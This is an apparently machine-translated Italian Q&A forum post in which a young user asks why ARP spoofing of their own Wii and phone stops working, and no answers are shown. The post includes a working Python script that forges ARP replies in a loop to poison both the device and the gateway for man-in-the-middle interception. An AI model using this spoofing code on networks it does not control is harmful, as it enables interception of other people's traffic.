L'attacco MITM tramite lo spoofing ARP funziona solo all'inizio

0

Ho un Nintendo Wii nella mia LAN che si collega online tramite il mio router. Ho scritto uno script veloce e sporco per inviare i pacchetti ARP alla rete ogni due secondi in modo che la Wii parli al mio computer, che poi trasmette i dati al mio router e viceversa. In questo modo dovrei essere in grado di giocare online mentre catturi tutto il traffico.

Ho testato la sceneggiatura e all'inizio ha funzionato. Potevo vedere tutti i pacchetti andare e venire su Wireshark. Tuttavia, ad un certo punto i pacchetti semplicemente smesso di mostrare. Potrei ancora giocare online ma il Wii e il router hanno iniziato a parlare direttamente l'uno con l'altro. Ho disabilitato il port forwarding sul computer e il gioco non è stato modificato. Non sono più riuscito a ricevere il traffico.

Ho provato a sostituire il Wii con il mio telefono. All'inizio ha funzionato, ma poi è successa la stessa cosa. Cosa sta succedendo qui? È possibile che il mio router rilevi l'attacco e neutralizzi i miei sforzi?

EDIT: Bene, quindi ecco la sceneggiatura, in Python. Voglio fare un programma per interpretare i dati che attraversano. Diventa un po 'hacky a partire dalla riga 24 perché volevo solo verificare che funzionassero le due funzioni.

def writeARPPacket(*,target,old,new):
  """
  Write an ARP packet that tells _target_ to send things to _new_ when
  it would have sent them to _old_.
  """
  ph = [] # Stands for "placeholders".
  ph += [target.getMAC()] # Destination's MAC address.
  ph += [new.getMAC()]    # Source's MAC address.
  ph += [new.getMAC()]    # Sender's MAC address.
  ph += [old.getIP()]     # Sender's IP address.
  ph += [target.getMAC()] # Target's MAC address.
  ph += [target.getIP()]  # Target's IP address.
  packet = b'%s%s\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02%s%s%s%s'
  packet = packet % (ph[0],ph[1],ph[2],ph[3],ph[4],ph[5])
  return packet

def sendARPPacket(netint,packet):
  "Send through _netint_ the raw bytes-like object _packet_."
  s = socket.socket(socket.PF_PACKET,socket.SOCK_RAW)
  s.bind((netint,0x0806))
  s.send(packet)

if __name__ == '__main__':
  class Dummy:
    def __init__(self,IP,MAC):
      self.IP = IP
      self.MAC = MAC
    def getIP(self): return self.IP
    def getMAC(self): return self.MAC

  # In place of '...', the real code includes the corresponding MAC addresses.
  Wii = Dummy(b'\xC0\xA8\x00\x14',...)
  phone = Dummy(b'\xC0\xA8\x00\x10',...)
  gateway = Dummy(b'\xC0\xA8\x00\x01',...)
  thisComp = Dummy(b'\xC0\xA8\x00\x11',...)

  try:
    while True:
      for (a,b) in ((phone,gateway),(gateway,phone)):
        packet = writeARPPacket(target=a,old=b,new=thisComp)
        sendARPPacket('wlp3s0b1',packet)
      time.sleep(2)
  except KeyboardInterrupt:
    sys.exit()

EDIT (di nuovo): mi è appena stato detto che il mio ISP stava monitorando il mio utilizzo di Internet oggi per aiutare a rilevare i problemi di connessione. È stato mio padre ad acconsentirlo senza avermelo detto. Sì, sono ancora giovane. Potrebbe essere che hanno rilevato l'attacco e l'hanno fermato in qualche modo?

    
posta yop 31.07.2017 - 16:24
fonte

0 risposte

Leggi altre domande sui tag